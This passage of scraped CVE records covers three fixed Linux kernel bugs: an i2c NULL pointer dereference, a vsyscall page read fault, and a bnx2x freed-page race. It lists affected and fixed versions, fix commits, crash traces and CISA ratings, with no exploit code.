            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/i2c/i2c-core-base.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "40f1d79f07b49c8a64a861706e5163f2db4bd95d",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "ad3c3ac7a03be3697114f781193dd3e9d97e6e23",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "5fd72404587d7db4acb2d241fd8c387afb0a7aec",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "5a09eae9a7db597fe0c1fc91636205b4a25d2620",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "4e75e222d397c6752b229ed72fc4644c8c36ecde",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "e3425674ff68dc521c57c6eabad0cbd20a027d85",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "357c64ef1ef39b1e7cd91ab6bdd304d043702c83",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            },
            {
              "lessThan": "91811a31b68d3765b3065f4bb6d7d6d84a7cfc9f",
              "status": "affected",
              "version": "63453b59e41173241c4efe9335815f6432fa8586",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/i2c/i2c-core-base.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.158",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.90",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.158",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.90",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.9",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: smbus: fix NULL function pointer dereference\n\nBaruch reported an OOPS when using the designware controller as target\nonly. Target-only modes break the assumption of one transfer function\nalways being available. Fix this by always checking the pointer in\n__i2c_transfer.\n\n[wsa: dropped the simplification in core-smbus to avoid theoretical regressions]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:15:00.753Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/40f1d79f07b49c8a64a861706e5163f2db4bd95d"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad3c3ac7a03be3697114f781193dd3e9d97e6e23"
        },
        {
          "url": "https://git.kernel.org/stable/c/5fd72404587d7db4acb2d241fd8c387afb0a7aec"
        },
        {
          "url": "https://git.kernel.org/stable/c/5a09eae9a7db597fe0c1fc91636205b4a25d2620"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e75e222d397c6752b229ed72fc4644c8c36ecde"
        },
        {
          "url": "https://git.kernel.org/stable/c/e3425674ff68dc521c57c6eabad0cbd20a027d85"
        },
        {
          "url": "https://git.kernel.org/stable/c/357c64ef1ef39b1e7cd91ab6bdd304d043702c83"
        },
        {
          "url": "https://git.kernel.org/stable/c/91811a31b68d3765b3065f4bb6d7d6d84a7cfc9f"
        }
      ],
      "title": "i2c: smbus: fix NULL function pointer dereference",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35984",
    "datePublished": "2024-05-20T09:47:51.738Z",
    "dateReserved": "2024-05-17T13:50:33.145Z",
    "dateUpdated": "2026-05-12T11:53:27.142Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26906 (GCVE-0-2024-26906)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

x86/mm: Disallow vsyscall page read for copy_from_kernel_nofault()

Summary

In the Linux kernel, the following vulnerability has been resolved: x86/mm: Disallow vsyscall page read for copy_from_kernel_nofault() When trying to use copy_from_kernel_nofault() to read vsyscall page through a bpf program, the following oops was reported: BUG: unable to handle page fault for address: ffffffffff600000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 3231067 P4D 3231067 PUD 3233067 PMD 3235067 PTE 0 Oops: 0000 [#1] PREEMPT SMP PTI CPU: 1 PID: 20390 Comm: test_progs ...... 6.7.0+ #58 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) ...... RIP: 0010:copy_from_kernel_nofault+0x6f/0x110 ...... Call Trace: <TASK> ? copy_from_kernel_nofault+0x6f/0x110 bpf_probe_read_kernel+0x1d/0x50 bpf_prog_2061065e56845f08_do_probe_read+0x51/0x8d trace_call_bpf+0xc5/0x1c0 perf_call_bpf_enter.isra.0+0x69/0xb0 perf_syscall_enter+0x13e/0x200 syscall_trace_enter+0x188/0x1c0 do_syscall_64+0xb5/0xe0 entry_SYSCALL_64_after_hwframe+0x6e/0x76 </TASK> ...... ---[ end trace 0000000000000000 ]--- The oops is triggered when: 1) A bpf program uses bpf_probe_read_kernel() to read from the vsyscall page and invokes copy_from_kernel_nofault() which in turn calls __get_user_asm(). 2) Because the vsyscall page address is not readable from kernel space, a page fault exception is triggered accordingly. 3) handle_page_fault() considers the vsyscall page address as a user space address instead of a kernel space address. This results in the fix-up setup by bpf not being applied and a page_fault_oops() is invoked due to SMAP. Considering handle_page_fault() has already considered the vsyscall page address as a userspace address, fix the problem by disallowing vsyscall page read for copy_from_kernel_nofault().

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/6e4694e65b6db4c3d…
https://git.kernel.org/stable/c/e8a67fe34b76a4932…
https://git.kernel.org/stable/c/f175de546a3eb7761…
https://git.kernel.org/stable/c/57f78c46f08198e1b…
https://git.kernel.org/stable/c/29bd6f86904682ada…
https://git.kernel.org/stable/c/32019c659ecfe1d92…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < 6e4694e65b6db4c3de125115dd4f55848cc48381 (git) Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < e8a67fe34b76a49320b33032228a794f40b0316b (git) Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < f175de546a3eb77614d94d4c02550181c0a8493e (git) Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < 57f78c46f08198e1be08ffe99c4c1ccc12855bf5 (git) Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < 29bd6f86904682adafe9affbc7f79b14defcaff8 (git) Affected: 75a1a607bb7e6d918be3aca11ec2214a275392f4 , < 32019c659ecfe1d92e3bf9fcdfbb11a7c70acd58 (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.490Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6e4694e65b6db4c3de125115dd4f55848cc48381"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8a67fe34b76a49320b33032228a794f40b0316b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f175de546a3eb77614d94d4c02550181c0a8493e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/57f78c46f08198e1be08ffe99c4c1ccc12855bf5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/29bd6f86904682adafe9affbc7f79b14defcaff8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/32019c659ecfe1d92e3bf9fcdfbb11a7c70acd58"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26906",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:47:59.842385Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:22.186Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:31.220Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/mm/maccess.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6e4694e65b6db4c3de125115dd4f55848cc48381",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            },
            {
              "lessThan": "e8a67fe34b76a49320b33032228a794f40b0316b",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            },
            {
              "lessThan": "f175de546a3eb77614d94d4c02550181c0a8493e",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            },
            {
              "lessThan": "57f78c46f08198e1be08ffe99c4c1ccc12855bf5",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            },
            {
              "lessThan": "29bd6f86904682adafe9affbc7f79b14defcaff8",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            },
            {
              "lessThan": "32019c659ecfe1d92e3bf9fcdfbb11a7c70acd58",
              "status": "affected",
              "version": "75a1a607bb7e6d918be3aca11ec2214a275392f4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "arch/x86/mm/maccess.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/mm: Disallow vsyscall page read for copy_from_kernel_nofault()\n\nWhen trying to use copy_from_kernel_nofault() to read vsyscall page\nthrough a bpf program, the following oops was reported:\n\n  BUG: unable to handle page fault for address: ffffffffff600000\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD 3231067 P4D 3231067 PUD 3233067 PMD 3235067 PTE 0\n  Oops: 0000 [#1] PREEMPT SMP PTI\n  CPU: 1 PID: 20390 Comm: test_progs ...... 6.7.0+ #58\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) ......\n  RIP: 0010:copy_from_kernel_nofault+0x6f/0x110\n  ......\n  Call Trace:\n   \u003cTASK\u003e\n   ? copy_from_kernel_nofault+0x6f/0x110\n   bpf_probe_read_kernel+0x1d/0x50\n   bpf_prog_2061065e56845f08_do_probe_read+0x51/0x8d\n   trace_call_bpf+0xc5/0x1c0\n   perf_call_bpf_enter.isra.0+0x69/0xb0\n   perf_syscall_enter+0x13e/0x200\n   syscall_trace_enter+0x188/0x1c0\n   do_syscall_64+0xb5/0xe0\n   entry_SYSCALL_64_after_hwframe+0x6e/0x76\n   \u003c/TASK\u003e\n  ......\n  ---[ end trace 0000000000000000 ]---\n\nThe oops is triggered when:\n\n1) A bpf program uses bpf_probe_read_kernel() to read from the vsyscall\npage and invokes copy_from_kernel_nofault() which in turn calls\n__get_user_asm().\n\n2) Because the vsyscall page address is not readable from kernel space,\na page fault exception is triggered accordingly.\n\n3) handle_page_fault() considers the vsyscall page address as a user\nspace address instead of a kernel space address. This results in the\nfix-up setup by bpf not being applied and a page_fault_oops() is invoked\ndue to SMAP.\n\nConsidering handle_page_fault() has already considered the vsyscall page\naddress as a userspace address, fix the problem by disallowing vsyscall\npage read for copy_from_kernel_nofault()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:40.672Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6e4694e65b6db4c3de125115dd4f55848cc48381"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8a67fe34b76a49320b33032228a794f40b0316b"
        },
        {
          "url": "https://git.kernel.org/stable/c/f175de546a3eb77614d94d4c02550181c0a8493e"
        },
        {
          "url": "https://git.kernel.org/stable/c/57f78c46f08198e1be08ffe99c4c1ccc12855bf5"
        },
        {
          "url": "https://git.kernel.org/stable/c/29bd6f86904682adafe9affbc7f79b14defcaff8"
        },
        {
          "url": "https://git.kernel.org/stable/c/32019c659ecfe1d92e3bf9fcdfbb11a7c70acd58"
        }
      ],
      "title": "x86/mm: Disallow vsyscall page read for copy_from_kernel_nofault()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26906",
    "datePublished": "2024-04-17T10:27:53.573Z",
    "dateReserved": "2024-02-19T14:20:24.187Z",
    "dateUpdated": "2026-05-12T11:50:31.220Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26859 (GCVE-0-2024-26859)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

net/bnx2x: Prevent access to a freed page in page_pool

Summary

In the Linux kernel, the following vulnerability has been resolved: net/bnx2x: Prevent access to a freed page in page_pool Fix race condition leading to system crash during EEH error handling During EEH error recovery, the bnx2x driver's transmit timeout logic could cause a race condition when handling reset tasks. The bnx2x_tx_timeout() schedules reset tasks via bnx2x_sp_rtnl_task(), which ultimately leads to bnx2x_nic_unload(). In bnx2x_nic_unload() SGEs are freed using bnx2x_free_rx_sge_range(). However, this could overlap with the EEH driver's attempt to reset the device using bnx2x_io_slot_reset(), which also tries to free SGEs. This race condition can result in system crashes due to accessing freed memory locations in bnx2x_free_rx_sge() 799 static inline void bnx2x_free_rx_sge(struct bnx2x *bp, 800 struct bnx2x_fastpath *fp, u16 index) 801 { 802 struct sw_rx_page *sw_buf = &fp->rx_page_ring[index]; 803 struct page *page = sw_buf->page; .... where sw_buf was set to NULL after the call to dma_unmap_page() by the preceding thread. EEH: Beginning: 'slot_reset' PCI 0011:01:00.0#10000: EEH: Invoking bnx2x->slot_reset() bnx2x: [bnx2x_io_slot_reset:14228(eth1)]IO slot reset initializing... bnx2x 0011:01:00.0: enabling device (0140 -> 0142) bnx2x: [bnx2x_io_slot_reset:14244(eth1)]IO slot reset --> driver unload Kernel attempted to read user page (0) - exploit attempt? (uid: 0) BUG: Kernel NULL pointer dereference on read at 0x00000000 Faulting instruction address: 0xc0080000025065fc Oops: Kernel access of bad area, sig: 11 [#1] ..... Call Trace: [c000000003c67a20] [c00800000250658c] bnx2x_io_slot_reset+0x204/0x610 [bnx2x] (unreliable) [c000000003c67af0] [c0000000000518a8] eeh_report_reset+0xb8/0xf0 [c000000003c67b60] [c000000000052130] eeh_pe_report+0x180/0x550 [c000000003c67c70] [c00000000005318c] eeh_handle_normal_event+0x84c/0xa60 [c000000003c67d50] [c000000000053a84] eeh_event_handler+0xf4/0x170 [c000000003c67da0] [c000000000194c58] kthread+0x1c8/0x1d0 [c000000003c67e10] [c00000000000cf64] ret_from_kernel_thread+0x5c/0x64 To solve this issue, we need to verify page pool allocations before freeing.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/7bcc090c81116c669…
https://git.kernel.org/stable/c/4f37d3a7e004bbf56…
https://git.kernel.org/stable/c/8eebff95ce9558be6…
https://git.kernel.org/stable/c/8ffcd3ccdbda0c918…
https://git.kernel.org/stable/c/cf7d8cba639ae792a…
https://git.kernel.org/stable/c/3a9f78b297e08ca8e…
https://git.kernel.org/stable/c/c51f8b6930db3f259…
https://git.kernel.org/stable/c/44f9f1abb0ecc4302…
https://git.kernel.org/stable/c/d27e2da94a4265586…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 7bcc090c81116c66936a7415f2c6b1483a4bcfd9 (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 4f37d3a7e004bbf560c21441ca9c022168017ec4 (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 8eebff95ce9558be66a36aa7cfb43223f3ab4699 (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 8ffcd3ccdbda0c918c4a0f922ef1c17010f1b598 (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < cf7d8cba639ae792a42c2a137b495eac262ac36c (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 3a9f78b297e08ca8e88ae3ecff1f6fe2766dc5eb (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < c51f8b6930db3f259b8820b589f2459d2df3fc68 (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < 44f9f1abb0ecc43023225ab9539167facbabf0ec (git) Affected: 4cace675d687ebd2d813e90af80ff87ee85202f9 , < d27e2da94a42655861ca4baea30c8cd65546f25d (git)
Linux	Linux	Affected: 4.2 Unaffected: 0 , < 4.2 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26859",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-23T14:02:31.556726Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:09.772Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.698Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7bcc090c81116c66936a7415f2c6b1483a4bcfd9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4f37d3a7e004bbf560c21441ca9c022168017ec4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8eebff95ce9558be66a36aa7cfb43223f3ab4699"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ffcd3ccdbda0c918c4a0f922ef1c17010f1b598"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cf7d8cba639ae792a42c2a137b495eac262ac36c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a9f78b297e08ca8e88ae3ecff1f6fe2766dc5eb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c51f8b6930db3f259b8820b589f2459d2df3fc68"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/44f9f1abb0ecc43023225ab9539167facbabf0ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d27e2da94a42655861ca4baea30c8cd65546f25d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:36.248Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/broadcom/bnx2x/bnx2x_cmn.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7bcc090c81116c66936a7415f2c6b1483a4bcfd9",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "4f37d3a7e004bbf560c21441ca9c022168017ec4",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "8eebff95ce9558be66a36aa7cfb43223f3ab4699",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "8ffcd3ccdbda0c918c4a0f922ef1c17010f1b598",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "cf7d8cba639ae792a42c2a137b495eac262ac36c",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "3a9f78b297e08ca8e88ae3ecff1f6fe2766dc5eb",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "c51f8b6930db3f259b8820b589f2459d2df3fc68",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
              "lessThan": "44f9f1abb0ecc43023225ab9539167facbabf0ec",
              "status": "affected",
              "version": "4cace675d687ebd2d813e90af80ff87ee85202f9",
              "versionType": "git"
            },
            {
